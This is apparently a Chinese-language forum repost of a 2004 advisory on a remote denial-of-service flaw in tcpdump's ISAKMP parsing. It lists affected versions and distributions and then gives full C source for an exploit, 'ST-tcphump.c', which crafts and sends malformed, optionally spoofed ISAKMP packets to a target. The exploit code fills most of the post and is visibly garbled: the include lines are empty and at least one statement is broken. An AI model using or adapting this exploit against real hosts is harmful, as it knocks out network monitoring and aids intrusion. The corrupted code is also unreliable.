| 
 | 
 
 
发表于 2004-8-23 08:59:06
|
显示全部楼层
 
 
 
| 
TCPDump畸形ISAKMP数据包远程拒绝服务漏洞严重程度:中威胁程度:远程拒绝服务错误类型:设计错误利用方式:服务器模式受影响系统LBL tcpdump 3.5.2                            LBL tcpdump 3.6.2                               +Caldera OpenLinux Server 3.1                +Caldera OpenLinux Server 3.1.1              +Caldera OpenLinux Workstation 3.1           +Caldera OpenLinux Workstation 3.1.1         +Conectiva Linux 5.0                         +Conectiva Linux 5.1                         +Conectiva Linux 6.0                         +Conectiva Linux 7.0                         +Conectiva Linux 8.0                         +Debian Linux 3.0                            +Debian Linux 3.0 alpha                      +Debian Linux 3.0 arm                        +Debian Linux 3.0 hppa                       +Debian Linux 3.0 ia-32                      +Debian Linux 3.0 ia-64                      +Debian Linux 3.0 m68k                       +Debian Linux 3.0 mips                       +Debian Linux 3.0 mipsel                     +Debian Linux 3.0 ppc                        +Debian Linux 3.0 s/390                      +Debian Linux 3.0 sparc                      +FreeBSD FreeBSD 4.0                         +FreeBSD FreeBSD 4.1                         +FreeBSD FreeBSD 4.1.1                       +FreeBSD FreeBSD 4.2                         +FreeBSD FreeBSD 4.3                         +HP Secure OS software for Linux 1.0         +MandrakeSoft Corporate Server 1.0.1         +MandrakeSoft Linux Mandrake 7.1             +MandrakeSoft Linux Mandrake 7.2             +MandrakeSoft Linux Mandrake 8.0             +MandrakeSoft Linux Mandrake 8.1             +MandrakeSoft Linux Mandrake 8.2             +MandrakeSoft Single Network Firewall 7.2    +RedHat Linux 6.2 alpha                      +RedHat Linux 6.2 i386                       +RedHat Linux 6.2 sparc                      +RedHat Linux 7.0 alpha                      +RedHat Linux 7.0 i386                       +RedHat Linux 7.1 alpha                      +RedHat Linux 7.1 i386                       +RedHat Linux 7.1 ia64                       +RedHat Linux 7.2 i386                       +RedHat Linux 7.2 ia64                       +S.u.S.E. Linux 8.0                          +Trustix Secure Linux 1.1                    +Trustix Secure Linux 1.2                    +Trustix Secure Linux 1.5                 LBL tcpdump 3.7                                 +FreeBSD FreeBSD 4.2                         +FreeBSD FreeBSD 4.2 -RELEASE                +FreeBSD FreeBSD 4.2 -STABLE                 +FreeBSD FreeBSD 4.3                         +FreeBSD FreeBSD 4.3 -RELEASE                +FreeBSD FreeBSD 4.3 -RELENG                 +FreeBSD FreeBSD 4.3 -STABLE                 +FreeBSD FreeBSD 4.4                         +FreeBSD FreeBSD 4.4 -RELENG                 +FreeBSD FreeBSD 4.4 -STABLE                 +FreeBSD FreeBSD 4.5                         +FreeBSD FreeBSD 4.5 -RELEASE                +FreeBSD FreeBSD 4.5 -STABLE                 +FreeBSD FreeBSD 4.6                         +FreeBSD FreeBSD 4.6 -RELEASE             LBL tcpdump 3.7.1                               +Gentoo Linux 1.4 _rc1                       +Gentoo Linux 1.4 _rc2                       +S.u.S.E. Linux 8.1详细描述tcpdump实现上存在漏洞,当其收到某种类型的数据包会造成拒绝服务。当tcpdump收到一个恶意的畸形格式的数据包时,tcpdump会不再处理流经其的数据包,只有重启程序才能恢复功能,远程入侵者可以利用此漏洞tcpdump暂时失去嗅探功能。测试代码/** ST-tcphump.c -- tcpdump ISAKMP denial of service attack*     The Salvia Twist*     01/03/03* * "A vulnerability exists in the parsing of ISAKMP packets (UDP port 500)*  that allows an attacker to force TCPDUMP into an infinite loop upon*  receipt of a specially crafted packet."** The fault really lies in isakmp_sub0_print() not isakmp_sub_print().* * Sometimes spoofed packets don't reach their destination, so we have support * for non-spoofed packets.* */#include #include #include #include #include #include #include #include #include #define ISAKMPGEN_SIZE    sizeof(struct isakmpgen)#define ISAKMPHEAD_SIZE sizeof(struct isakmphdr)#define PSDHEAD_SIZE    sizeof(struct pseudohdr)#define UDPHEAD_SIZE    sizeof(struct udphdr)#define IPHEAD_SIZE    sizeof(struct iphdr)#define PORT        500struct isakmpgen * isakmpg(void);struct isakmphdr * isakmph(void);struct udphdr * udph(void);struct iphdr * iph(void);__u16 cksum(__u16 *buf, int nbytes);void get_interface(void);void usage(void);struct isakmpgen {    __u8 np;    __u8 reserved;    __u16 length;};struct isakmphdr {    __u8 i_ck[8];    __u8 r_ck[8];    __u8 np;    __u8 vers;    __u8 etype;    __u8 flags;    __u8 msgid[4];    __u32 len;};struct pseudohdr {    __u32 saddr;    __u32 daddr;    __u8 zero;    __u8 protocol;    __u16 length;};struct sockaddr_in saddr;struct sockaddr_in local;int spoof;int main(int argc, char *argv[]) {    char *packet = malloc(4096);    char *pseudo = malloc(4096);    struct isakmpgen *isakmpgen = malloc(ISAKMPGEN_SIZE);    struct isakmphdr *isakmp = malloc(ISAKMPHEAD_SIZE);    struct pseudohdr *phdr = malloc(PSDHEAD_SIZE);    struct udphdr    *udp = malloc(UDPHEAD_SIZE);    struct iphdr    *ip = malloc(IPHEAD_SIZE);    int sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);    int one = 1;    const int *val = &one;        printf("ST-tcphump tcpdump ISAKMP denial of service\n");    printf("    The Salvia Twist\n");        if(argc < 2) {        usage();        exit(1);    }        if(!strcmp(argv[1], "-s"))        spoof = 0;    else {        spoof = 1;        get_interface();    }                if(!spoof && argc < 3) {        usage();        exit(1);    }        bzero(packet, sizeof(packet));    bzero(pseudo, sizeof(pseudo));    srand(time(NULL));        saddr.sin_family = AF_INET;    saddr.sin_port = htons(PORT);        if(spoof)        saddr.sin_addr.s_addr = inet_addr(argv[1]);    else        saddr.sin_addr.s_addr = inet_addr(argv[2]);        setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));        ip = iph();    udp = udph();    isakmp = isakmph();    isakmpgen = isakmpg();        memcpy(&phdr->saddr, &ip->saddr, 4);    memcpy(&phdr->daddr, &ip->daddr, 4);    phdr->protocol = 17;    phdr->length = htons(UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);        memcpy(pseudo, phdr, PSDHEAD_SIZE);    memcpy(pseudo + PSDHEAD_SIZE, udp, UDPHEAD_SIZE);    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,            isakmpgen, ISAKMPGEN_SIZE);        udp->check = cksum((u_short*) pseudo, PSDHEAD_SIZE + UDPHEAD_SIZE +            ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);        memcpy(packet, ip, IPHEAD_SIZE);    memcpy(packet + IPHEAD_SIZE, udp, UDPHEAD_SIZE);    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,            isakmpgen, ISAKMPGEN_SIZE);            ip->check = cksum((u_short*) packet, ip->tot_len >> 1);    memcpy(packet, ip, IPHEAD_SIZE);    if(sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *) &saddr,                sizeof(saddr)) < 0) {        printf("sendto error\n");        exit(1);    }        printf("Packet sent.\n");        return 0;}void usage(void) {    printf("\nUsage: ST-tcphump -s \n");    printf("\t-s\tdon't spoof source address\n");}__u16 cksum(__u16 *buf, int nbytes) {    __u32 sum;    __u16 oddbyte;    sum = 0;    while(nbytes > 1) {        sum += *buf++;        nbytes -= 2;    }    if(nbytes == 1) {        oddbyte = 0;        *((__u16 *) &oddbyte) = *(__u8 *) buf;        sum += oddbyte;    }    sum = (sum >> 16) + (sum & 0xffff);    sum += (sum >> 16);    return (__u16) ~sum;}struct isakmpgen * isakmpg(void) {    struct isakmpgen *isakmpg = malloc(ISAKMPGEN_SIZE);    bzero(isakmpg, ISAKMPGEN_SIZE);    isakmpg->np = 69;}struct isakmphdr * isakmph(void) {    struct isakmphdr *isakmph = malloc(ISAKMPHEAD_SIZE);    int i;        bzero(isakmph, ISAKMPHEAD_SIZE);    for(i = 0; i < 8; i++) {        isakmph->i_ck[i] = rand() % 256;        isakmph->r_ck[i] = rand() % 256;    }    for(i = 0; i < 4; i++)        isakmph->msgid[i] = rand() % 256;    isakmph->vers = 0x8 np = 69;    isakmph->etype = 2;    isakmph->len = htonl(ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);}struct udphdr * udph(void) {    struct udphdr *udph = malloc(UDPHEAD_SIZE);    udph->source = htons(PORT);//htons(1024 + (rand() % 2003));    udph->dest = htons(PORT);    udph->len = UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE;    udph->check = 0;}struct iphdr * iph(void) {    struct iphdr *iph = malloc(IPHEAD_SIZE);    iph->ihl = 5;    iph->version = 4;    iph->tos = 0;    iph->tot_len = IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE +         ISAKMPGEN_SIZE;    iph->id = htons(rand());    iph->frag_off = 0;    iph->ttl = 225;    iph->protocol = 17;    iph->check = 0;    if(spoof) {        iph->saddr = saddr.sin_addr.s_addr;    }    else        iph->saddr = local.sin_addr.s_addr;        iph->daddr = saddr.sin_addr.s_addr;        return iph;}/* thanks hping2 */void get_interface(void) {    int sockr, len, on = 1;    struct sockaddr_in dest;    struct sockaddr_in iface;    memset(&iface, 0, sizeof(iface));    memcpy(&dest, &saddr, sizeof(struct sockaddr_in));    dest.sin_port = htons(11111);    sockr = socket(AF_INET, SOCK_DGRAM, 0);    if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) == -1) {        printf("getsockopt error\n");        exit(1);    }    if(connect(sockr, (struct sockaddr *)&dest,                sizeof(struct sockaddr_in)) == -1) {        printf("connect error\n");        exit(1);    }    len = sizeof(iface);    if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1) {        printf("getsockname error\n");        exit(1);    }        close(sockr);    memcpy(&local, &iface, sizeof(struct sockaddr_in));    return;} |   
 
 
 
 |